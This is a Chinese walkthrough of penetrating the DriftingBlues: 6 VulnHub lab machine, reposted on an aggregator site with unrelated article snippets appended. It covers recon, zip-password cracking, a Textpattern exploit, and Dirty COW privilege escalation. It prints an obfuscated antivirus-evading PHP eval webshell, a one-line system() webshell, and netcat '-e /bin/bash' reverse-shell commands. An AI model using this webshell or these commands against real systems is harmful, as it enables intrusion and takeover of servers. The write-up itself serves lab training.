[Vulnhub靶机] DriftingBlues: 6

[Vulnhub靶机] DriftingBlues: 6靶机渗透思路及方法(个人分享)

靶机下载地址:

https://download.vulnhub.com/driftingblues/driftingblues6_vh.ova


靶机地址:192.168.67.25

攻击机地址:192.168.67.3


一、信息收集

1.使用 arp-scan 命令扫描网段内存活的主机,以获取靶机ip地址

arp-scan -I 指定网卡 -l

2.使用 nmap 工具扫描靶机开放端口、服务版本以及系统版本,得到开放端口80及其服务http

nmap -sV -O 靶机地址

        -sV        探测主机服务版本

        -O         识别主机操作系统

3.访问web网页,在查看网页源代码时发现一串提示,但该段提示为靶场提示,没有什么实际作用

4.尝试使用 dirsearch 工具扫描靶机网站目录,得到 robots.txt 文件和 textpattern 目录

dirsearch -u 靶机URL

        -u        指定目标URL

5.通过访问robots.txt,我们获得了一个 /textpattern/textpattern,以及一段提示信息(希望我们在扫描目录的字典中加入.zip的扩展名)

6.使用 gobuster 工具重新扫描靶机网站目录,并添加.zip扩展名,发现 spammer.zip 文件,访问该文件成功下载到本地,尝试解压发现存在密码

gobuster dir --url http://192.168.67.25 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x zip

        dir                          使用DIR枚举目录(目录爆破模式)

        -url                         目标URL(指定目标URL)

        --wordlist                字典列表的路径

        -x                           指定扩展名

二、漏洞利用

1.使用 zip2john 工具将压缩文件的密码转换为hash格式输出到 hash.txt 文件中,使用 john 工具进行密码破解,成功得到压缩包密码 myspace4(也可直接使用 fcrackzip 工具对zip文件的密码进行爆破)

zip2john Zip文件 > hash文件名

        >        将输出重定向到指定的文件中

zip2john工具,用于将Zip文件的压缩密码转换为hash格式,可以将Zip文件转换为John the Ripper密码破解工具可识别的格式。这个工具将Zip文件的密码hash提取出来,以便用于后续密码破解攻击。

john --wordlist=密码字典路径 文件名

        --wordlist        字典模式,从 文件或标准输入中读取词汇(指定字典)

John the Ripper(简称John)是一款开源的密码破解工具,它用于测试和评估密码的强度。John可以进行多种类型的密码破解,包括字典攻击、暴力破解、彩虹表攻击等。

/usr/share/wordists/rockyou.txt 是kali系统自带的密码文件,默认是个压缩包需要自行解压

fcrackzip -D -p 密码字典路径 -u Zip文件名

        -D         指定字典来暴力破解

        -p         使用字符串作为初始密码文件

        -u         指定压缩文件

2.使用压缩包密码打开 creds.txt 文件,得到账号/密码(mayer/lionheart)

3.访问之前获取到的文件 /textpattern/textpattern ,是一个登录页面,通过查看分析,发现CMS是textpattern

4.输入我们获取到的账户密码成功访问该网站后台,此时我们获得了CMS的版本信息为4.8.3

三、反弹shell

此时有两种反弹shell的方法:

        第一种:利用CMS的版本漏洞进行反弹shell

        第二种:利用CMS中文件上传模块上传木马

第一种反弹shell方法:

1.使用 searchsploit 工具搜索CMS版本漏洞信息,查找到该CMS版本漏洞利用脚本

Searchsploit是一款用于搜索和比较漏洞利用代码的命令行工具,基于Metasploit框架,并且内置了漏洞利用数据库,可以快速在本地搜索相关的漏洞利用代码,同时也支持从在线源获取最新的漏洞信息。

2.进入到漏洞利用脚本的目录下,运行该python脚本,提示脚本运行方法

python 48943.py URL地址 用户名 密码

3.执行漏洞脚本,运行时可能会显示报错,需要手动将代码修改,在第89行,script下标应当修改为3(还是建议看一下大佬写的:对DriftingBlues-6靶机进行渗透测试-CSDN博客),成功反弹shell 

scriptJS = soup.find_all("script")[3].string.replace("var textpattern = ", "")[:-2]

4.但是通过该方法反弹的shell无法跳转到其他目录,在攻击机开启 nc 监听,利用刚才反弹的shell执行 nc 命令,尝试反弹新的shell

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

nc 攻击机地址 监听端口号 -e /bin/bash

        -e        指定对应的应用程序

5.成功反弹shell,利用python中pty模块的创建交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

        -c        在命令行中调用python代码

pty.spawn() 函数是pty模块中的一个函数,用于创建一个子进程,并将其连接到一个伪终端。通过这个伪终端,我们可以与子进程进行交互,就像在控制台上一样。

第二种反弹shell方法:

1.在该CMS中存在文件上传位置,尝试上传木马

2.编写免杀木马 cmd.php 进行上传(因为靶机有防火墙所以需要免杀),上传成功后没有直接回显上传文件的路径,在查找后发现在管理界面中有上传文件的路径

<?php
class User {public static function getpublicMethod() {return 'publicMethod';}public static function publicMethod($args) {$key = 'args';$pass_decode=$$key;return @eval($pass_decode);}
}
$classloader = 'User';
$publicMethod1 = ['User',$classloader::getpublicMethod()];
$aes_decode =$publicMethod1('
$username = \'TUHUsuGa\';
$password = \'UTUHUsuGaUdTUHUsuGaWMllXd29KTUHUsuGaRjlRVDFOVVd5ZGpiV1FuWFNrNw==\';
header(\'dddddd:\'.$username);
$arr = apache_response_headers();
$template_source=\'\';
foreach ($arr as $k => $v) {if ($k[0] == \'d\' && $k[4] == \'d\') {$template_source = str_replace($v,\'\',$password);}
}
$template_source = base64_decode/**/($template_source);
$template_source = base64_decode/**/($template_source);
$key = \'template_source\';
$aes_decode=$$key;
return $aes_decode;
');
$publicMethod2 = ['User',$classloader::getpublicMethod()];
$publicMethod2($aes_decode);
$p7Buth = "CjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KPHRpdGxlPjQwMyBGb3JiaWRkZW48L3RpdGxlPgo8c3R5bGU+CmJvZHl7IAogICAgcGFkZGluZzowOyAKICAgIG1hcmdpbjowOyAKICAgIGZvbnQtZmFtaWx5OiJNaWNyb3NvZnQgWWFIZWkiLCAKICAgICJNaWNyb3NvZnQgWWFIZWkgVUkgTGlnaHQiOwogICAgZm9udC1zaXplOjE0cHg7Cn0KLnBhZ2V7CiAgICBoZWlnaHQ6IDQ0NnB4OyAKICAgIG1hcmdpbjogMCBhdXRvOwogICAgcGFkZGluZy1yaWdodDoyMHB4OwogICAgbWFyZ2luLXRvcDozJTsKfQoucGFnZS10b3B7CiAgICB3aWR0aO+8mjEyMDBweDsKICAgIG1hcmdpbjogMCBhdXRvOwogICAgdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLnBhZ2UtYm90dG9tewogICAgd2lkdGg6MTIwMHB4OwogICAgbWFyZ2luOiAwIGF1dG87Cn0KLnBhZ2UtYm90dG9tLXRpcHsKICAgdGV4dC1hbGlnbjpjZW50ZXI7CiAgIGNvbG9yOiAjN2Q3ZDdkOwogICBwYWRkaW5nOjE2cHggMCAxMHB4IDA7CiAgIGZvbnQtc2l6ZToxNnB4Owp9Ci5wYWdlLWJvdHRvbS13b3JkewogICBtYXJnaW4tbGVmdDozMCU7CiAgIGNvbG9yOiMzMTMxMzEKfQoucGFnZS1ib3R0b20td29yZCBwewogIGZvbnQtd2VpZ2h0OnVuc2V0OwogIGxpbmUtaGVpZ2h0OiAyMnB4OwogIG1hcmdpbjogMDsKfQoKPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGRpdiBjbGFzcz0icGFnZSI+ICAKICAgIDxkaXYgY2xhc3M9InBhZ2UtdG9wIj4KICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9ibG9ja3NyYy5oYXBsYXQubmV0L3dhZl9mb3JiaWRkZW5fZmlsZS93YWYtaW50ZXJUaXAuanBnIiAvPgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWJvdHRvbSI+CiAgICAgIDxkaXYgY2xhc3M9InBhZ2UtYm90dG9tLXRpcCIgbGFuZ0ZsYWc9J2Vycm9yVGlwJz48L2Rpdj4KICAgICAgPGRpdiBjbGFzcz0icGFnZS1ib3R0b20td29yZCI+CiAgICA8L2Rpdj4KPC9kaXY+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vYmxvY2tzcmMuaGFwbGF0Lm5ldC93YWZfZm9yYmlkZGVuX2ZpbGUvd2FmLWpxdWVyeS1taW4uanMiPjwvc2NyaXB0Pgo8c2NyaXB0PgpqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsKICAgICQoIiN0aW1lX2lkIikuaHRtbCh0b0xUKDE2OTkxMDcyMDEwMDApKTsKICAgIHdpbkhlaWdodCA9ICQod2luZG93KS5oZWlnaHQoKTsKICAgICQoIi5wYWdlIikuc3RvcCh0cnVlLGZhbHNlKS5hbmltYXRlKHsibWFyZ2luLXRvcCI6d2luSGVpZ2h0LzItMzEyfSwwKTsKICAgICQod2luZG93KS5yZXNpemUoZnVuY3Rpb24oKXsgIAogICAgICAgIHdpbkhlaWdodCA9ICQod2luZG93KS5oZWlnaHQoKTsKICAgICAgICAkKCIucGFnZSIpLnN0b3AodHJ1ZSxmYWxzZSkuYW5pbWF0ZSh7Im1hcmdpbi10b3AiOndpbkhlaWdodC8yLTMxMn0sMCk7CiAgICB9KTsKICAgIGNoYW5nZVBhZ2VFbGVtKCk7CiAgICBpZigkKCcjaW5uZXJCb3QnKS5odG1sKCkubGVuZ3RoPD0wKXsKICAgICAgICAkKCcjYm90SWQnKS5yZW1vdmUoKTsKICAgIH0KfSk7CgpmdW5jdGlvbiB0b0xUKGRhdGUpewogICAgZGF0ZSA9IG5ldyBEYXRlKHBhcnNlSW50KGRhdGUpKTsKICAgIHZhciB1dGM7CiAgICBpZiAoanVkZ2VMYW5ndWFnZSgpID09IDApCiAgICAgICAgdXRjID0gZGF0ZS50b0xvY2FsZVN0cmluZygnemgnLHt0aW1lWm9uZU5hbWU6ICdzaG9ydCcsIGhvdXIxMjogZmFsc2V9KTsKICAgIGVsc2UKICAgICAgICB1dGMgPSBkYXRlLnRvTG9jYWxlU3RyaW5nKCdlbicse3RpbWVab25lTmFtZTogJ3Nob3J0JywgaG91cjEyOiBmYWxzZX0pOwogICAgcmV0dXJuIHV0YzsKfQpmdW5jdGlvbiBqdWRnZUxhbmd1YWdlKCl7CiAgIHZhciBsYW5nID0gbmF2aWdhdG9yLmxhbmd1YWdlIHx8IG5hdmlnYXRvci51c2VyTGFuZ3VhZ2U7CiAgIHZhciBsYW5nRmxhZyA7CiAgIGlmKGxhbmc9PSJ6aC1DTiIpewogICAgICAgbGFuZ0ZsYWc9MDsKICAgfSBlbHNlewogICAgICAgbGFuZ0ZsYWc9MTsKICAgfQogICByZXR1cm4gbGFuZ0ZsYWc7Cn0KZnVuY3Rpb24gY2hhbmdlUGFnZUVsZW0oKXsKICAgIHZhciBsYW5nT2JqPXsgICAgICAgCiAgICAgICAgJ2NvbG9uJzpbJ++8micsJzonXSwKICAgICAgICAnZXZlbklEJzpbJ+S6i+S7tklEJywnRXZlbnQtSUQnXSwKICAgICAgICAnY2xpZW50SVAnOlsn5a6i5oi356uvSVAnLCdDbGllbnQtSVAnXSwKICAgICAgICAnY3V1cmVudFRpbWUnOlsn5b2T5YmN5pe26Ze0JywnQ3VycmVudCBUaW1lJ10sCiAgICAgICAgJ2Vycm9yVGlwJzpbJ+aCqOW9k+WJjeeahOiuv+mXruihjOS4uuWtmOWcqOW8guW4uO+8jOivt+eojeWQjumHjeivlS4uLicsJ1lvdXIgY3VycmVudCBiZWhhdmlvciBpcyBkZXRlY3RlZCBhcyBhYm5vcm1hbCwgUGxlYXNlIHRyeSBhZ2FpbiBsYXRlci4uLiddLAogICAgICAgICd1c2VyQWdlbnQnOlsnVXNlci1BZ2VudCcsJ1VzZXItQWdlbnQnXSwKICAgICAgICAvKidibG9ja0lkJzpbJ0JvdOaLpuaIqklEJywnQm90LUJsb2NrLUlEJ10sKi8KICAgICAgICAnUmVxdWVzdElEJzpbJ1JlcXVlc3QtSUQnLCAnUmVxdWVzdC1JRCddCiAgICB9CiAgICB2YXIgX2luZGV4PWp1ZGdlTGFuZ3VhZ2UoKTsKICAgIHZhciBwYWdlRWxlbWVudHMgPSAkKCJbbGFuZ0ZsYWddIik7CiAgICB2YXIgbGJsTGVuID0gcGFnZUVsZW1lbnRzLmxlbmd0aDsKICAgIHZhciBfZWxlbSxfZmxhZzsKICAgIGZvcihpID0gMDsgaSA8IGxibExlbjsgaSsrKSB7CiAgICAgICAgX2VsZW0gPSAkKHBhZ2VFbGVtZW50c1tpXSk7CiAgICAgICAgX2ZsYWc9X2VsZW0uYXR0cigibGFuZ0ZsYWciKTsKICAgICAgICBfZWxlbS50ZXh0KGxhbmdPYmpbX2ZsYWddW19pbmRleF0pOwogICAgfTsKfQoKPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg==";
if( count($_REQUEST) || file_get_contents("php://input") ){}else{http_response_code(403);echo base64_decode/**/($p7Buth);
}

3.在攻击机开启 nc 监听,利用木马反弹的shell执行 nc 命令(POST传参cmd参数执行命令),尝试反弹shell

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

nc 攻击机地址 监听端口号 -e /bin/bash

        -e        指定对应的应用程序

 5.成功反弹shell,利用python中pty模块的创建交互式shell

其他:

在成功反弹shell后,经过对目录内文件的查看,发现目录内存在 BSQTYLTSOp.php 文件,该文件是一个一句话木马文件(代码如下),可以正常执行命令,且该文件是能正常下载查看的。那这样就可以不用上传木马文件,直接通过该文件执行 nc 命令反弹shell,其操作方法思路同第二种方法相同

<?php system($_GET["efcd"]); ?>

四、提权

1.使用find命令寻找suid程序,尝试进行提权,没有发现可利用的漏洞程序(没有可利用的脚本或程序),ssh服务也没有启动,同样没有发现其他用户

2.换个思路,使用 uname 命令查看系统版本内核,发现linux内核版本为3.2.0,搜索发现该版本存在脏牛漏洞

uname命令是一个在UNIX类操作系统中常用的命令,用于显示当前系统的相关信息

uname -a

        -a        显示全部信息

 3.使用 searchsploit 工具搜索 linux 内核版本漏洞信息(直接查找 "linux 3.2.0" ,搜索到的信息太多,直接查找 "Dirty COW" ,也就是脏牛漏洞),查找到该 linux 内核版本漏洞利用脚本

脏牛漏洞(Dirty COW)是一个影响Linux内核的本地特权提升漏洞,其漏洞编号为CVE-2016-5195,影响范围为2.6.22 <= Linux kernel  < 3.9

脏牛漏洞的原理是利用了Linux内核中的一个写时复制(Copy-on-Write)的漏洞,使得攻击者可以获取到本应该只有读权限的文件的写权限。通过在特定条件下修改映射到内存的文件,攻击者可以在没有足够权限的情况下修改目标文件的内容。

4.在攻击机使用 python 开启HTTP服务器,来共享文件,在靶机上使用wget命令将提权脚本下载下来,并赋予该脚本执行权限

python -m http.server

        -m        指定到执行的模块

http.server是Python标准库中提供的一个模块,它包含了一个简单的HTTP服务器类和相关函数,用于实现Web服务器和文件共享等功能(默认端口为8000)。

wget 指定文件URL                        //下载指定文件

需要再 /tmp 目录下下载,或者其他有权限创建文件权限的目录

5.使用gcc编译器来编译脚本,并生成可执行文件,运行可执行文件后,就可以能够登录新创建的用户,使用此漏洞可以根据需要修改用户值, 默认为 "firefart" 用户。

gcc -pthread 40839.c -o 指定文件名 -lcrypt

        -pthread              用于指示编译器链接POSIX线程库

        -o                        指定输出文件

        -lcrypt                  用于链接密码库

6.成功执行脚本后,使用默认用户 "firefart" 以及自定义的密码 "123456" 进行登录,成功登录后查看权限,发现成功提权至root权限

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/339782.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【SpringBoot3】实现自定义配置——以静态资源自定义配置为例(源码+代码示例)

这里写目录标题 1 配置类位置2 静态资源配置方式3 整体配置示例3.1 创建配置类3.2 实现配置方法3.3 指定配置文件属性 1 配置类位置 在左侧搜索autoconfigure可以找到spring-boot-autoconfigure包&#xff0c;打开其下的META-INF -> spring -> AutoConfiguration.import…

06.构建大型语言模型步骤

在本章中,我们为理解LLMs奠定了基础。在本书的其余部分,我们将从头开始编写一个代码。我们将以 GPT 背后的基本思想为蓝图,分三个阶段解决这个问题,如图 1.9 所示。 图 1.9 本书中介绍的构建LLMs阶段包括实现LLM架构和数据准备过程、预训练以创建基础模型,以及微调基础模…

Java使用IText生产PDF时,中文标点符号出现在行首的问题处理

Java使用IText生成PDF时&#xff0c;中文标点符号出现在行首的问题处理 使用itext 5进行html转成pdf时&#xff0c;标点符号出现在某一行的开头 但这种情况下显然不符合中文书写的规则&#xff0c;主要问题出在itext中的DefaultSplitCharacter类&#xff0c;该方法主要用来判断…

Windows下安装mariadb10.5数据库及配置详细教程

1、简介 MariaDB数据库管理系统是一款MySQL的替代数据库。MariaDB由MySQL的创始人麦克尔维德纽斯主导开发&#xff0c;是可扩展的&#xff0c;可靠的SQL服务器的合乎逻辑的选择&#xff0c;MariaDB 10.5 是 MariaDB 当前的稳定系列。 2、下载 下载地址&#xff1a;Download M…

Android SDK环境搭建[图解]; 解决问题Done. Nothing was installed.

安装SDK Android SDK环境搭建 依赖java环境,需要自备Java环境 (100%实操成功) 目录 1. 解压&#xff1a;解压到非中文无特殊字符的目录 2. 双击&#xff1a;SDK Manager.exe&#xff0c;不要选全部!不要选全部!不要选全部!(会下很久) 3. 然后勾选组件​ 4. 设置环境变量 …

MySQL加锁规则

项目编写涉及到数据持久化一般选择使用MySQL。由于时间原因&#xff0c;数据库使用我选择了无脑三板斧&#xff1a;1. 建立了索引加速查询、2. 关闭自动提交事务、3. 在需要确保原子性的数据库操作之间手动创建和提交事务。 这么一看&#xff0c;仿佛即使是实际开发也与你此前…

设置若依Token过期时间

方法一&#xff1a;设置永不过期&#xff0c;有安全隐患&#xff0c;不建议使用 redisCache.setCacheObject(userKey, loginUser); 方法二&#xff1a;修改application.yml

将 OpenCV 与 Eclipse 一起使用(插件 CDT)

先决条件 两种方式&#xff0c;一种是直接形成项目&#xff0c;另一种是 CMake 先决条件 在您的工作站中安装了 Eclipse&#xff08;只需要 C/C 的 CDT 插件&#xff09;。您可以按照以下步骤操作&#xff1a; 转到 Eclipse 站点下载面向 C/C 开发人员的 Eclipse IDE。根据您…

蓝桥杯省赛无忧 STL 课件11 pair

01 pair的定义和结构 在C中&#xff0c;pair是一个模板类&#xff0c;用于表示一对值的组合&#xff0c;它位于头文件中。 pair类的定义如下: template<class T1,class T2>struct pair{T1 first;//第一个值T2 second;//第二个值// 构造函数pair();pair(const T1& X…

模拟超市商品结算系统

要求:全程一个角色(管理员即用户) (1)需要管理员注册与登录 (2)管理员登录之后&#xff0c;可以进行上架新的商品(商品名称和单价) (3)管理员登录之后&#xff0c;也可以下架商品 (4)在节假日有优惠活动,可以对其中的一些商品修改相应的单价(价格提高和价格降低都可以) (5)用户…

如何充分发挥HubSpot CRM优势,优化销售流程?

在竞争激烈的商业环境中&#xff0c;销售流程的优化对企业至关重要。HubSpot CRM作为一款全面而强大的工具&#xff0c;为企业提供了实现销售优化的完美平台。让我们深入了解如何最大程度地利用HubSpot CRM&#xff0c;提高销售效率。 1.建立清晰的销售流程 HubSpot CRM的第一…

MySQL的三种存储引擎 InnoDB、MyISAM、Memory

InnoDB 1). 介绍 InnoDB是一种兼顾高可靠性和高性能的通用存储引擎&#xff0c;在 MySQL 5.5 之后&#xff0c;InnoDB是默认的MySQL 存储引擎。 2). 特点 DML操作遵循ACID模型&#xff0c;支持事务&#xff1b; 行级锁&#xff0c;提高并发访问性能&#xff1b; 支持外键F…